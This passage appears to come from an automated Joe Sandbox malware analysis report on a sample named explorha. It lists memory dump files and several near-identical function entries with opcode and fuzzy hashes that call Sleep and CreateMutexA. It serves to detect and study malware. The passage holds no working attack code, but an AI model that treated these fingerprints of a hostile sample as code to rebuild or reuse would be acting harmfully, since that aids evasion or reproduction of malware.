Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ca4f42defd9e926ded9363cc3127d5900b3d32d2b33466da7eba7c7b20108259
Instruction ID: d3c6ad5fabe54ab9c163523ba087cf8e9f44df7dd18125cce4c27af31038860b
Opcode Fuzzy Hash: ca4f42defd9e926ded9363cc3127d5900b3d32d2b33466da7eba7c7b20108259
Instruction Fuzzy Hash: AF310572610204DBEB08DB6CCC897ADBAA6EB86314F208718E515D72D3D7BD59808791

Uniqueness

Uniqueness Score: -1.00%

Function 00709A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dea28dc18a937a1505b085d73be4baf010dc748737391d73bd8586bc606623ff
Instruction ID: a3e3e66e9d1cd821183acd2760405af6a2138324c268fd192a00e27db47c7af5
Opcode Fuzzy Hash: dea28dc18a937a1505b085d73be4baf010dc748737391d73bd8586bc606623ff
Instruction Fuzzy Hash: EC3135B1714244DBEB08DB6CCC887ADFBA2EB86314F208718E914D72D2E77D5980C751

Uniqueness

Uniqueness Score: -1.00%

Function 00709B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4d4d9fd37bf137020c4c2c7de1c01811e02b8390faef5164f6acc2884d73adb6
Instruction ID: ef9ce1ffdd69ec8666e18dca97f8bb06dd89b6215364db9943ff254e19267caa
Opcode Fuzzy Hash: 4d4d9fd37bf137020c4c2c7de1c01811e02b8390faef5164f6acc2884d73adb6
Instruction Fuzzy Hash: AD3126B1604244DBFB08DB7CDC8979DBBE2EB86324F208718E915D72D2D7BD59808761

Uniqueness

Uniqueness Score: -1.00%

Function 00709C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 42c4921fa42a92c1ec1dde9402f32f14f39d12423e1a34f58885764d0ce026fd
Instruction ID: 474bc2c9bb25c279a62c2e29147eae22a14b6b0203e428ee4e05b6689c9ba294
Opcode Fuzzy Hash: 42c4921fa42a92c1ec1dde9402f32f14f39d12423e1a34f58885764d0ce026fd
Instruction Fuzzy Hash: A731F471700244DBFB08DB7CDC8979DBBA2EB86314F208718E515D72D2E7BD99808762

Uniqueness

Uniqueness Score: -1.00%

Function 00709EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4b827fd263a9c1048e128741875ba517495c743c4e410901fb58f3c044464706
Instruction ID: 1602f47a888efee1bbcb85b197ec5f01f780973cd69532e83fcb6e33b7f71399
Opcode Fuzzy Hash: 4b827fd263a9c1048e128741875ba517495c743c4e410901fb58f3c044464706
Instruction Fuzzy Hash: A3314671600244DBEB08DB7CCD8979DB6A2AB86314F208718F511D72D7EBBD59808762

Uniqueness

Uniqueness Score: -1.00%

Function 0070A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
